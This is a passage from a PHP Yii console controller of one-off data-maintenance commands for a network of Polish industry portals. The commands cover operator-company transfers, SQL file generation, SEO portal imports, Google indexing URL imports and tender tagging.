    protected function transferCompany2($idCompany, $idTargetOperator, $operatorsLogins)
    { 
        $modelsOperatorsHasCompanies = \common\models\OperatorsHasCompanies::find()
                ->where([
                    'id_company' => $idCompany
                ])
                ->all();
        
        $actualDatetime = date("Y-m-d H:i:s");
        
        $assignedPortals = [];
        if(!empty($modelsOperatorsHasCompanies)) {
            foreach($modelsOperatorsHasCompanies as $modelOperatorHasCompany) {
                $assignedPortalsTemp = $modelOperatorHasCompany->assigned_portals;
                if(!empty($assignedPortalsTemp)) {
                    foreach($assignedPortalsTemp as $key => $assignedPortalTemp) {            
                        $assignedPortals[(int)$assignedPortalTemp['id_portal']] = [
                            'id_portal' => (int)$assignedPortalTemp['id_portal'],
                            'created_at' => $actualDatetime
                        ];
                    }
                }
                $modelOperatorHasCompany->delete();
            }
        } 
        
        $modelNewOperatorHasCompany = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
        $modelNewOperatorHasCompany->id_user = $idTargetOperator;
        $modelNewOperatorHasCompany->id_company = $idCompany;
        $modelNewOperatorHasCompany->assigned_portals = array_values($assignedPortals);
        
        $flag = $modelNewOperatorHasCompany->save();
        
        $flag = $flag && $this->transferCompaniesCasesWithEntries($idCompany, $idTargetOperator, $operatorsLogins);
        
        //przepisać zamówienia nowe oraz ich elementy
        $flag = $flag && $this->transferCompaniesOrders($idCompany, $idTargetOperator);
        
        //przepisać rezerwacje mailingów
        $flag = $flag && $this->transferMailingsReservations($idCompany, $idTargetOperator);
        
        //przepisać zamówienia archiwalne
        $flag = $flag && $this->transferCompanyOrdersArchive($idCompany, $idTargetOperator);
        
        return $flag;
    }
    
    public function actionPrepareSqlCommands1()
    {
        $sql = 'SELECT 
                    id_article, sponsored_start_date, sponsored_end_date, 
                    promoted_start_date, promoted_end_date, recommended_start_date, 
                    recommended_end_date, hot_news_start_date, hot_news_end_date 
                FROM 
                    articles 
                WHERE 
                    sponsored_start_date IS NOT NULL 
                    OR sponsored_end_date IS NOT NULL 
                    OR promoted_start_date IS NOT NULL
                    OR promoted_end_date IS NOT NULL
                    OR recommended_start_date IS NOT NULL 
                    OR recommended_end_date IS NOT NULL
                    OR hot_news_start_date IS NOT NULL
                    OR hot_news_end_date IS NOT NULL
                ORDER BY
                    id_article';
        
        $rows = Yii::$app->db->createCommand($sql)->queryAll(); 
        
        $commands = '';
        foreach($rows as $row) {
            $commands .= 'UPDATE articles_2 SET sponsored_start_date = '.(!empty($row['sponsored_start_date']) ? '\''.$row['sponsored_start_date'].'\'' : 'NULL').', sponsored_end_date = '.(!empty($row['sponsored_end_date']) ? '\''.$row['sponsored_end_date'].'\'' : 'NULL').', promoted_start_date = '.(!empty($row['promoted_start_date']) ? '\''.$row['promoted_start_date'].'\'' : 'NULL').', promoted_end_date = '.(!empty($row['promoted_end_date']) ? '\''.$row['promoted_end_date'].'\'' : 'NULL').', recommended_start_date = '.(!empty($row['recommended_start_date']) ? '\''.$row['recommended_start_date'].'\'' : 'NULL').', recommended_end_date = '.(!empty($row['recommended_end_date']) ? '\''.$row['recommended_end_date'].'\'' : 'NULL').', hot_news_start_date = '.(!empty($row['hot_news_start_date']) ? '\''.$row['hot_news_start_date'].'\'' : 'NULL').', hot_news_end_date = '.(!empty($row['hot_news_end_date']) ? '\''.$row['hot_news_end_date'].'\'' : 'NULL').' WHERE id_article = '.$row['id_article'].";\r\n";
        }
        
        $filePath = Yii::getAlias('@runtime/temp/articles_2.sql');
        file_put_contents($filePath, $commands);
        
        $this->stdout('KONIEC'."\n\r");
    }
    
    public function actionPrepareSqlCommands2()
    {
        $sql = 'SELECT 
                    id_article, or_source_in_footer, or_advertisement 
                FROM 
                    articles 
                WHERE 
                    or_source_in_footer != 1 
                    OR or_advertisement != 0 
                ORDER BY
                    id_article';
        
        $rows = Yii::$app->db->createCommand($sql)->queryAll(); 
        
        $commands = '';
        foreach($rows as $row) {
            $commands .= 'UPDATE articles_2 SET or_source_in_footer = '.$row['or_source_in_footer'].', or_advertisement = '.$row['or_advertisement'].' WHERE id_article = '.$row['id_article'].";\r\n";
        }
        
        $filePath = Yii::getAlias('@runtime/temp/articles_2.sql');
        file_put_contents($filePath, $commands);
        
        $this->stdout('KONIEC'."\n\r");
    }
    
    public function actionImportSeoPortals()
    {
        $portals = [
            ['id' => 57, 'domain' => 'agencjepr.com'],
            ['id' => 26, 'domain' => 'agrobiznes.biz'],
            ['id' => 87, 'domain' => 'architekci.biz'],
            ['id' => 199, 'domain' => 'automatyka.biz.pl'],
            ['id' => 59, 'domain' => 'automoto.info.pl'],
            ['id' => 138, 'domain' => 'auto-serwis.info'],
            ['id' => 163, 'domain' => 'bary.net.pl'],
            ['id' => 22, 'domain' => 'beton.biz.pl'],
            ['id' => 37, 'domain' => 'dekoratorzy.com.pl'],
            ['id' => 42, 'domain' => 'dewocjonalia.biz'],
            ['id' => 34, 'domain' => 'drewno.biz.pl'],
            ['id' => 45, 'domain' => 'druk-3d.info'],
            ['id' => 60, 'domain' => 'drukarnie.net.pl'],
            ['id' => 66, 'domain' => 'drzwi-okna.org'],
            ['id' => 130, 'domain' => 'dzieci.biz.pl'],
            ['id' => 67, 'domain' => 'dzwigi.biz.pl'],
            ['id' => 68, 'domain' => 'elektronika.biz.pl'],
            ['id' => 142, 'domain' => 'energetyka.info.pl'],
            ['id' => 72, 'domain' => 'farby.biz.pl'],
            ['id' => 61, 'domain' => 'farmacja.biz.pl'],
            ['id' => 62, 'domain' => 'folia.info.pl'],
            ['id' => 18, 'domain' => 'fundamenty.org'],
            ['id' => 76, 'domain' => 'gastronomia.biz.pl'],
            ['id' => 63, 'domain' => 'hydraulika.org'],
            ['id' => 50, 'domain' => 'informatyka.biz.pl'],
            ['id' => 44, 'domain' => 'instalacje.org'],
            ['id' => 29, 'domain' => 'izolacje.biz'],
            ['id' => 140, 'domain' => 'jubiler.info.pl'],
            ['id' => 135, 'domain' => 'kamienie.org'],
            ['id' => 84, 'domain' => 'kanalizacja.biz'],
            ['id' => 85, 'domain' => 'klimatyzatory.biz.pl'],
            ['id' => 86, 'domain' => 'kontener.biz.pl'],
            ['id' => 141, 'domain' => 'kosmetyka.info.pl'],
            ['id' => 88, 'domain' => 'kotly.biz.pl'],
            ['id' => 134, 'domain' => 'kruszywa.org'],
            ['id' => 149, 'domain' => 'kultura.biz'],
            ['id' => 90, 'domain' => 'lekarstwa.biz.pl'],
            ['id' => 184, 'domain' => 'maszyny-budowlane.eu'],
            ['id' => 160, 'domain' => 'maszyny-rolnicze.biz'],
            ['id' => 9, 'domain' => 'materialybudowlane.biz'],
            ['id' => 52, 'domain' => 'mebelia.com.pl'],
            ['id' => 145, 'domain' => 'mechanika.info.pl'],
            ['id' => 93, 'domain' => 'mechatronika.biz.pl'],
            ['id' => 139, 'domain' => 'motory.biz.pl'],
            ['id' => 12, 'domain' => 'narzedzia.org'],
            ['id' => 39, 'domain' => 'obrabiarki.org'],
            ['id' => 100, 'domain' => 'ochrona.biz.pl'],
            ['id' => 25, 'domain' => 'ogrodnictwo.info.pl'],
            ['id' => 30, 'domain' => 'ogrodzenie.biz'],
            ['id' => 101, 'domain' => 'ogrodzenie.biz.pl'],
            ['id' => 106, 'domain' => 'opona.info.pl'],
            ['id' => 51, 'domain' => 'oprogramowanie.biz.pl'],
            ['id' => 108, 'domain' => 'piece.biz.pl'],
            ['id' => 49, 'domain' => 'pneumatyka.org.pl'],
            ['id' => 64, 'domain' => 'podlogi.org'],
            ['id' => 136, 'domain' => 'programisci.net'],
            ['id' => 83, 'domain' => 'projektanci.net'],
            ['id' => 73, 'domain' => 'restauracje.biz'],
            ['id' => 110, 'domain' => 'robotyka.biz'],
            ['id' => 111, 'domain' => 'rolnictwo.biz'],
            ['id' => 161, 'domain' => 'rozrywka.biz.pl'],
            ['id' => 113, 'domain' => 'rury.biz'],
            ['id' => 33, 'domain' => 'siatka.biz'],
            ['id' => 79, 'domain' => 'spawalnictwo.net.pl'],
            ['id' => 115, 'domain' => 'sporteo.eu'],
            ['id' => 116, 'domain' => 'stal.biz.pl'],
            ['id' => 21, 'domain' => 'stropy.biz.pl'],
            ['id' => 23, 'domain' => 'szamba.org'],
            ['id' => 144, 'domain' => 'tartaki.info.pl'],
            ['id' => 137, 'domain' => 'telefony.biz.pl'],
            ['id' => 120, 'domain' => 'telekomunikacja.info'],
            ['id' => 121, 'domain' => 'tkaniny.biz.pl'],
            ['id' => 122, 'domain' => 'transporteo.eu'],
            ['id' => 7, 'domain' => 'ubezpieczenia.org'],
            ['id' => 143, 'domain' => 'vendingowy.info.pl'],
            ['id' => 124, 'domain' => 'wentylatory.biz'],
            ['id' => 55, 'domain' => 'wnetrza.org'],
            ['id' => 32, 'domain' => 'wod-kan.biz'],
            ['id' => 162, 'domain' => 'wulkanizacja.biz'],
            ['id' => 146, 'domain' => 'wydawnictwa.biz.pl'],
            ['id' => 56, 'domain' => 'wykonczenia.biz'],
            ['id' => 126, 'domain' => 'wystrojwnetrz.biz'],
            ['id' => 127, 'domain' => 'zabezpieczenia.info'],
            ['id' => 46, 'domain' => 'zlom.biz'],
            ['id' => 129, 'domain' => 'zwierzeta.biz.pl']
        ];
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $ids = [];
        foreach($portals as $portal) {
            if(in_array($portal['id'], $ids)) {
                $transaction->rollBack();
                $this->stdout('Portal: ID='.$portal['id'].' pojawia się więcej niż 1 raz na liście.');
                return ExitCode::CANTCREAT;
            }
            
            $ids[] = $portal['id'];
            $modelPortal = \common\models\Portals::findOne($portal['id']);
            if($modelPortal) {
                if($modelPortal->domain !== $portal['domain']) {
                    $transaction->rollBack();
                    $this->stdout('Portal: ID='.$portal['id'].' już istnieje, ale z inną domeną.');
                    return ExitCode::CANTCREAT;
                } else {
                    continue;
                }
            }
            
            $modelPortal = new \common\models\Portals(['scenario' => 'create']);
            $modelPortal->id_portal = $portal['id'];
            $modelPortal->domain = $portal['domain'];
            $modelPortal->email = 'redakcja@'.$portal['domain'];
            $modelPortal->name = $portal['domain'];
            $modelPortal->description = $portal['domain'].' - opis';
            $modelPortal->status = \common\models\types\Status::INACTIVE;
            
            $flag = $modelPortal->save();
            if(!$flag) {
                $transaction->rollBack();
                $this->stdout('Błąd podczas zapisu.');
                return ExitCode::CANTCREAT;
            }
        }
        
        $transaction->commit();
//        $transaction->rollBack();
        
        $this->stdout('Poprawnie dodano portale do bazy danych.');
        return ExitCode::OK;
    }
    
    public function actionFillSeoPortalsDataForGeneratingArticles()
    {      
        $idsPortalsByDomains = \yii\helpers\ArrayHelper::map(\common\models\Portals::find()->select(['id_portal', 'domain'])->asArray()->all(), 'domain', 'id_portal');
        
        $dir = new \DirectoryIterator(Yii::getAlias('@runtime/temp/gportale_kategorie/'));
        foreach($dir as $fileinfo) {
            if($fileinfo->isFile() ) {
                $filenameParts = explode('.', $fileinfo->getFilename());
                if(array_slice($filenameParts, -2) !== [0 => 'inc', 1 => 'php']) {
                    $this->stdout('Pomijamy plik: '.$fileinfo->getFilename()."\n");
                    continue;
                }
                
                $portalDomain = implode('.', array_slice($filenameParts, 0, count($filenameParts) - 2));
                
                if(!isset($idsPortalsByDomains[$portalDomain])) {
                    $this->stdout('Brak portalu: '.$portalDomain."\n");
                    continue;
                }
                
                $idPortal = $idsPortalsByDomains[$portalDomain];
                
                $this->stdout($portalDomain."\n");
                
                $kategorie = [];
                require($fileinfo->getPathname());
                
                foreach($kategorie as $key_1 => $categories) {
                    foreach($categories as $key_2 => $category) {   
                        $data = [
                            'id_portal' => $idPortal,
                            'category_name' => $key_2 !== 0 && $category[1] === true ? $categories[0][0].' '.$category[0] : $category[0],
                            'category_description' => $category[2],
                            'key' => $key_1.'_'.$key_2,
                            'or_processed' => 0,
                            'created_at' => new \MongoDB\BSON\UTCDateTime()
                        ];
                        
//                        $this->stdout($data['category_name']."\n");
                        
                        Yii::$app->mongodb->getCollection('seo_portals_data_for_generating_articles')->save($data);
                    }
                }
            }
        }
        unset($dir, $fileinfo);
        
        $this->stdout('Poprawnie zapisano dane.');
        return ExitCode::OK;
    }
    
    public function actionRefreshPresentationsForAutomatyka()
    {      
        $idsPresentations = Yii::$app->db->createCommand('SELECT id_presentation FROM companies_presentations WHERE id_portal = 199')->queryColumn(); 
        
        foreach($idsPresentations as $idPresentation) {
            echo '.';
            $flag = \frontend\models\IndexPresentations::refreshRecord(intval($idPresentation));
            if(!$flag) {
                $this->stdout('Wystapli blad przy prezentacji o ID='.$idPresentation);
                return ExitCode::CANTCREAT;
            }
        }
        
        $this->stdout('Poprawnie zapisano dane.');
        return ExitCode::OK;
    }
    
    public function actionImportToGoogleIndexingUrls()
    {    
        if (!file_exists(Yii::getAlias('@runtime/temp/google_indexing/log.txt'))) {
            touch(Yii::getAlias('@runtime/temp/google_indexing/log.txt'));
        }
        $logFilePath = Yii::getAlias('@runtime/temp/google_indexing/log.txt');    
        $processedUrls = file($logFilePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        $logFileHandler = fopen($logFilePath, 'a');
        
        $idsPortalsByDomainsKeys = \yii\helpers\ArrayHelper::map(
            Yii::$app->db->createCommand('SELECT id_portal, domain FROM portals')->queryAll(), 
            function($portal) { return substr($portal['domain'], 0, strpos($portal['domain'], '.')); }, 
            function($portal) { return [$portal['id_portal'], $portal['domain']]; }
        );
        
        $dir = new \DirectoryIterator(Yii::getAlias('@runtime/temp/google_indexing/'));
        foreach($dir as $fileinfo) {
            if($fileinfo->isFile() && $fileinfo->getFilename() !== 'log.txt') {
                $domainKey = explode('.', $fileinfo->getFilename())[0];
                list($idPortal, $domain) = !empty($idsPortalsByDomainsKeys[$domainKey]) ? $idsPortalsByDomainsKeys[$domainKey] : [null, null];
                
                if(!$idPortal) {
                    $this->stderr("Brakuje ID dla portalu o kluczu '".$domainKey."' \n");
                    exit;
                }
                
                $data = file($fileinfo->getRealPath(), FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); 
                foreach($data as $url) {
                    
                    if (in_array($url, $processedUrls)) {
                        continue;
                    } else {
                        fwrite($logFileHandler, $url.PHP_EOL);
                    }
                    
                    $model = new \common\models\GoogleIndexingUrls();
                    $model->url = $url;
                    $model->source_type = null;
                    $model->source_id = null;
                    $model->id_portal = $idPortal;
                    
                    //@todo to sprawdzanie musimy chyba olać - odrzuci linki prowadzące do nawigacji, wyszukiwarki itd.
//                    $matches = [];            
//                    preg_match('#^https://www.'.$domain.'/(artykuly|firmy|produkty|ofertypracy|ogloszenia|targi|ksiegarnia|szkolenia|przetargi)/[a-z\-]+/([0-9]+)#i', $url, $matches);            
//                    if(empty($matches[0])) {
//                        continue;
//                    }
//
//                    switch($matches[1]) {
//                        case 'artykuly':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_ARTICLE;
//                            break;
//                        case 'firmy':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_COMPANY_PRESENTATION;
//                            break;
//                        case 'produkty':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_PRODUCT;
//                            break;
//                        case 'ofertypracy':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_JOB_OFFER;
//                            break;
//                        case 'targi':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_FAIRS;
//                            break;
//                        case 'ksiegarnia':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_BOOK;
//                            break;
//                        case 'szkolenia':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_TRAINING;
//                            break;
//                        case 'ogloszenia':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_ADVERTISEMENT;
//                            break;
//                        case 'przetargi':
//                            $type = \common\models\types\GoogleIndexingUrlType::TYPE_TENDER;
//                            break;
//                    }
//
//                    $model = new \common\models\GoogleIndexingUrls();
//                    $model->url = $url;
//                    $model->source_type = $type;
//                    $model->source_id = (string)$matches[2];
//                    $model->id_portal = $idPortal;

                    $model->save();
                }
            }
        }
        unset($dir, $fileinfo);        
        fclose($logFileHandler);
        
        $this->stdout('Pomyslnie zaimportowano dane.'.PHP_EOL);
        return ExitCode::OK;
    }
    
    public function actionImportToGoogleIndexingUrlsNew()
    {    
        if (!file_exists(Yii::getAlias('@runtime/temp/google_indexing/log.txt'))) {
            touch(Yii::getAlias('@runtime/temp/google_indexing/log.txt'));
        }
        $logFilePath = Yii::getAlias('@runtime/temp/google_indexing/log.txt');    
        $processedUrls = file($logFilePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        $logFileHandler = fopen($logFilePath, 'a');
        
        $idsPortalsByDomainsKeys = \yii\helpers\ArrayHelper::map(
            Yii::$app->db->createCommand('SELECT id_portal, domain FROM portals')->queryAll(), 
            function($portal) { return substr($portal['domain'], 0, strpos($portal['domain'], '.')); }, 
            function($portal) { return [$portal['id_portal'], $portal['domain']]; }
        );
        
        $dir = new \DirectoryIterator(Yii::getAlias('@runtime/temp/google_indexing/'));
        foreach($dir as $fileinfo) {
            if($fileinfo->isFile() && $fileinfo->getFilename() !== 'log.txt') {
                $domainKey = explode('.', $fileinfo->getFilename())[0];
                list($idPortal, $domain) = !empty($idsPortalsByDomainsKeys[$domainKey]) ? $idsPortalsByDomainsKeys[$domainKey] : [null, null];
                
                if(!$idPortal) {
                    $this->stderr("Brakuje ID dla portalu o kluczu '".$domainKey."' \n");
                    exit;
                }
                $this->stdOut($domain."\n");
                
                $fileHandler = fopen($fileinfo->getRealPath(), "r");                
                while(($row = fgetcsv($fileHandler, 2000)) !== false) {
                    if($row[0] === 'URL' || $row[0] === '') {
                        continue;
                    }
                    
                    $url = trim($row[0]);
                    
                    if (in_array($url, $processedUrls)) {
                        continue;
                    } else {
                        fwrite($logFileHandler, $url.PHP_EOL);
                    }
                    
                    $model = new \common\models\GoogleIndexingUrls();
                    $model->url = $url;
                    $model->source_type = null;
                    $model->source_id = null;
                    $model->id_portal = $idPortal;

                    $model->save();
                }                
                fclose($fileHandler);
            }
        }
        unset($dir, $fileinfo);        
        fclose($logFileHandler);
        
        $this->stdout('Pomyslnie zaimportowano dane.'.PHP_EOL);
        return ExitCode::OK;
    }
    
    public function actionImportToGoogleIndexingUrlsNew2()
    {    
        if (!file_exists(Yii::getAlias('@runtime/temp/google_indexing/log.txt'))) {
            touch(Yii::getAlias('@runtime/temp/google_indexing/log.txt'));
        }
        $logFilePath = Yii::getAlias('@runtime/temp/google_indexing/log.txt');    
        $processedUrls = file($logFilePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

        $urls = file(Yii::getAlias('@runtime/temp/google_indexing/article_from_vmanager_no_indexed.txt'), FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        $logFileHandler = fopen($logFilePath, 'a');
        foreach($urls as $url) {
            if (in_array($url, $processedUrls)) {
                continue;
            } else {
                fwrite($logFileHandler, $url.PHP_EOL);
            }
            
            $model = new \common\models\GoogleIndexingUrls();
            $model->url = $url;
            $model->source_type = null;
            $model->source_id = null;
            $model->id_portal = 1;

            $model->save();
        }
        fclose($logFileHandler);
        
        $this->stdout('Pomyslnie zaimportowano dane.'.PHP_EOL);
        return ExitCode::OK;
    }
    
    public function actionRepairGoogleIndexingLogFile()
    {
        $filePath = Yii::getAlias('@runtime/temp/google_indexing/log.txt');    
        $rows = file($filePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        $phrases = [
            '/artykuly/szczegoly/', 
            '/artykuly/lista',
            '/artykuly/tag/',
            '/produkty/lista/',
            '/produkty/szczegoly/', 
            '/ofertypracy/lista',
            '/ofertypracy/szczegoly/', 
            '/ogloszenia/lista',                
            '/ogloszenia/szczegoly/', 
            '/targi/szczegoly/', 
            '/ksiegarnia/katalog',
            '/ksiegarnia/pozycja/', 
            '/szkolenia/szczegoly/',
            '/szkolenia/zamow/',
            '/przetargi/szczegoly/',                
            '/firmy/lista/',
            '/firmy/branze-i-zasieg/',
            '/firmy/dane-kontaktowe/',
            '/firmy/do-pobrania/',
            '/firmy/galerie/',
            '/firmy/galeria/',
            '/firmy/o-firmie/',
            '/firmy/oddzialy/',
            '/firmy/oferta/',
            '/firmy/produkty-i-uslugi/',
            '/firmy/publikacje/',
            '/firmy/referencje-i-nagrody/',
            '/firmy/szkolenia/',
            '/firmy/video/'
        ];
        
        $leftRows = array_filter($rows, function($url) use ($phrases) {
            foreach($phrases as $phrase) {
                if(strpos($url, $phrase) !== false) {
                    return true;
                }
            }
            return false;
        });
        file_put_contents(Yii::getAlias('@runtime/temp/google_indexing/log.txt'), implode(PHP_EOL, $leftRows));
        
        $removedRows = array_filter($rows, function($url) use ($phrases) {
            $orFound = false;
            foreach($phrases as $phrase) {
                if(strpos($url, $phrase) !== false) {
                    $orFound = true;
                    break;
                }
            }
            return $orFound ? false : true;
        });
        file_put_contents(Yii::getAlias('@runtime/temp/google_indexing/log_removed.txt'), implode(PHP_EOL, $removedRows));
    }
    
    public function actionAddIdsPortalsFieldToTenders()
    {
        $limit = !empty($this->limit) ? intval($this->limit) : 1000;

        $cpvByPortals = [];
        $rows = Yii::$app->db->createCommand('SELECT * FROM portals_has_tenders_cpv')->queryAll();
        foreach($rows as $row) {
            $cpvByPortals[substr(trim($row['cpv']), 0, 8)][] = $row['id_portal'];
        }
        
        $tenders = Yii::$app->mongodb->getCollection('tenders')->find(['ids_portals' => ['$exists' => false]], ['_id' => true, 'numercpv' => true, 'numercpv2' => true], ['limit' => $limit]);
        foreach($tenders as $tender) {
            $idsPortals = [];
            if(!empty($cpvByPortals[$tender['numercpv']])) {
                $idsPortals = $cpvByPortals[$tender['numercpv']];
            }
            if(!empty($cpvByPortals[$tender['numercpv2']])) {
                $idsPortals = array_merge($idsPortals, $cpvByPortals[$tender['numercpv2']]);
            }
//            if(!empty($idsPortals)) {
//                $this->stdout($tender['_id']."\n");
//            }
            Yii::$app->mongodb->getCollection('tenders')->update(['_id' => $tender['_id']], ['ids_portals' => array_unique($idsPortals)]);
        }
        
        $this->stdout('KONIEC'."\n");
        return ExitCode::OK;
    }
    
    public function actionGenerateArticlesList()
    {
        $sql = '
            SELECT articles.id_article, articles.title, articles.publication_datetime, json_agg(portals.domain) AS portals  
            FROM articles 
            INNER JOIN articles_has_portals ON articles_has_portals.id_article = articles.id_article 
            INNER JOIN portals ON portals.id_portal = articles_has_portals.id_portal 
            GROUP BY articles.id_article 
            ORDER BY articles.id_article 
        ';
        $rows = Yii::$app->db->createCommand($sql)->queryAll(); 
        
        $limitForOneInsert = 10;
        $counter = 0;
        $dataForInsert = [];
        $output = '';
        foreach($rows as $row) {
            foreach(json_decode($row['portals']) as $portalDomain) {
                $counter++;
                $url = 'https://www.'.$portalDomain.'/artykuly/szczegoly/'.$row['id_article'].'_'.\frontend\components\helpers\SlugGenerator::generate($row['title']);
                $dataForInsert[] = "(".$row['id_article'].", '".pg_escape_string($row['title'])."', '".$row['publication_datetime']."', '".$url."')";
                
                if($counter >= $limitForOneInsert) {
                    $output .= 'INSERT INTO articles_from_vmanager (id_article, title, publication_datetime, url) VALUES '.PHP_EOL."  ".implode(", ".PHP_EOL."  ", $dataForInsert).';'.PHP_EOL;
                    $dataForInsert = [];
                    $counter = 0;
                }
            }
        }
        
        if (!empty($dataForInsert)) {
            $output .= 'INSERT INTO articles_from_vmanager (id_article, title, publication_datetime, url) VALUES '.PHP_EOL."  ".implode(", ".PHP_EOL."  ", $dataForInsert).';'.PHP_EOL;
        }
        
        file_put_contents(Yii::getAlias('@runtime/temp/articles_from_vmanager.sql'), $output);
    }
    
    public function actionGetIdsPresentationsForStarters()
    {
        $sql = 'SELECT DISTINCT companies_presentations.id_presentation '
                . 'FROM companies_presentations '
                . 'LEFT OUTER JOIN invoices ON invoices.id_company = companies_presentations.id_company '
                . 'WHERE companies_presentations.id_package = \''.\common\models\PresentationsPackages::PACKAGE_STARTER.'\' '
                . 'AND invoices.id_invoice IS NULL';
        $ids = Yii::$app->db->createCommand($sql)->queryColumn();
        file_put_contents(Yii::getAlias('@runtime/temp/ids_presentations.txt'), implode(',', $ids));
    }
    
    public function actionGetVisitsEntriesForPresentationsStarters()
    {
        $ids = array_map('intval', explode(',', file_get_contents(Yii::getAlias('@runtime/temp/ids_presentations.txt'))));
        
        $parts = array_chunk($ids, 1000);
        unset($ids);
        
        $counter = 0;
        foreach($parts as $part) {
//            $query = new \yii\mongodb\Query();
//            $documents = $query->select(['_id'])->from('companies_presentations_visits')
//                    ->where(['id_presentation' => $part])
//                    ->column();
//            $counter += count($documents);
            
            Yii::$app->mongodb->getCollection('companies_presentations_visits_new')->remove(['pr' => $part]);
            $counter++;
            var_dump('Usuwanie nr '.$counter);
        }
    }
    
    public function actionDetachCompaniesFromOperatorsWithAutomatyka()
    {
        
//        $idsCompaniesWithPresentation = \common\models\CompaniesPresentations::find()->select(['id_company'])->where(['id_portal' => 199])->column();
        
        $counter = 0;
        $transaction = Yii::$app->db->beginTransaction();
        foreach(\common\models\OperatorsHasCompanies::find()
                ->where(['not', ['id_user' => 261577]])
                ->andWhere(['not', ['id_company' => \common\models\CompaniesPresentations::find()->select(['id_company'])->where(['id_portal' => 199])]])
                ->each(100) as $model) {
            
            
            $assignedPortals = $model->assigned_portals;
            
            foreach($assignedPortals as $key => $assignedPortal) {
                if($assignedPortal['id_portal'] == 199) {
                    unset($assignedPortals[$key]);
                    
                    $model->assigned_portals = $assignedPortals;
                    $flag = $model->save(false);
                    if($flag) {
                        $counter++;
                    } else {
                        var_dump('tutaj'); exit;
                    }
                }
            }
        }
        var_dump('zmodyfikowano: '.$counter);
        $transaction->rollBack();
    }
    
    public function actionDetachCompaniesFromOperatorsWithAutomatykaV2()
    {
        $models = \common\models\OperatorsHasCompanies::find()
                ->where(['not', ['id_user' => 261577]])
                ->andWhere(['id_company' => \common\models\OperatorsHasCompanies::find()->select(['id_company'])->where(['id_user' => 133])]) //vm_kolodziejczyk
                ->all();
        var_dump(\common\models\OperatorsHasCompanies::find()->select(['id_company'])->where(['id_user' => 133])->count());
        $modelsByIdsCompanies = [];
        foreach($models as $model) {
            $modelsByIdsCompanies[$model->id_company][] = $model;
        }
        unset($models);
        
        $numberOfDetached = 0;
        $numberOfAttached = 0;
        $idsDetachedCompanies = [];
        
        $transaction = Yii::$app->db->beginTransaction();
        
        foreach($modelsByIdsCompanies as $idCompany => $models) {            
            if(count($models) === 1) { //musi być minimum dwóch operatorów, jednym z nich vm_kolodziejczyk
                continue;
            }
            
            $orAutomatykaAssignExists = false;            
            $modelForVmKolodziejczyk = null;
            
            foreach($models as $model) {
                if($model->id_user === 133) {
                    $modelForVmKolodziejczyk = $model;
                    continue;
                }
                
                $assignedPortals = $model->assigned_portals;            
                foreach($assignedPortals as $key => $assignedPortal) {
                    if($assignedPortal['id_portal'] == 199) {
                        $orAutomatykaAssignExists = true;
                        
                        unset($assignedPortals[$key]);
                    
                        $model->assigned_portals = $assignedPortals;
                        $flag = $model->save(false);
                        if($flag) {
                            $numberOfDetached++;
                            $idsDetachedCompanies[] = $idCompany;
                        } else {
                            var_dump('tutaj 1'); 
                            $transaction->rollBack();
                            exit;
                        }
                    }
                }
            }
            
            if($orAutomatykaAssignExists) {
                $orVmKolodziejczykHasAutomatyka = false;
                
                $assignedPortals = $modelForVmKolodziejczyk->assigned_portals;                
                foreach($assignedPortals as $key => $assignedPortal) {
                    if($assignedPortal['id_portal'] == 199) {
                        $orVmKolodziejczykHasAutomatyka = true;
                    }
                }
                
                if(!$orVmKolodziejczykHasAutomatyka) {
                    $assignedPortals[] = [
                        'id_portal' => 199,
                        'created_at' => date('Y-m-d H:i:s')
                    ];                    
                    $modelForVmKolodziejczyk->assigned_portals = $assignedPortals;
                    $flag = $modelForVmKolodziejczyk->save(false);
                    if($flag) {
                        $numberOfAttached++;
                    } else {
                        var_dump('tutaj 2'); 
                        $transaction->rollBack();
                        exit;
                    }
                }
            }
        }
        
        var_dump('Odpieto: '.$numberOfDetached);
        var_dump('Przypięto: '.$numberOfAttached);
        var_dump('ID odpinanych firm: '.implode(', ', $idsDetachedCompanies));
        $transaction->rollBack();
    }
    
    public function actionCompaniesListFromAutomatykaWithOtherOperators()
    {
        $subquery = \common\models\OperatorsHasCompanies::find()
                ->select(['id_company'])
                ->where(['not', ['id_user' => 261577]])
                ->andWhere(['id_company' => \common\models\CompaniesPresentations::find()->select(['id_company'])->where(['id_portal' => 199])])
                ->distinct();
        
        $models = \common\models\Companies::find()
                ->with([
                    'operators',
                    'presentations',
                    'presentations.portal'
                ])
                ->where(['id_company' => $subquery])
                ->all();
        
        $fp = fopen(Yii::getAlias('@runtime/temp/companies_list.csv'), 'w');
        foreach($models as $model) {
            $operators = [];
            foreach($model->operators as $modelOperator) {
                $operators[] = $modelOperator->forename.' '.$modelOperator->surname.' (#'.$modelOperator->id_user.')';
            }
            $idPresentationForAutomatyka = null;
            $portals = [];
            foreach($model->presentations as $modelPresentation) {
                $portals[$modelPresentation->id_portal] = $modelPresentation->portal->domain;
                if($modelPresentation->id_portal === 199) {
                    $idPresentationForAutomatyka = $modelPresentation->id_presentation;
                }
            }
            fputcsv($fp, [
                $model->id_company,
                $model->name,
                implode(' | ', $operators),
                implode(' | ', $portals),
                'https://www.automatyka.biz.pl/firmy/dane-kontaktowe/'.$idPresentationForAutomatyka.'_'.\frontend\components\helpers\SlugGenerator::generate($model->name)
            ]);
        }
        fclose($fp);
    }
    
    public function actionAttachFairsSeriesFromMetaleToAutomatyka()
    {
        $idsFairsSeries = \common\models\FairsSeriesHasPortals::find()->select(['id_series'])->where(['id_portal' => 1])->column();        
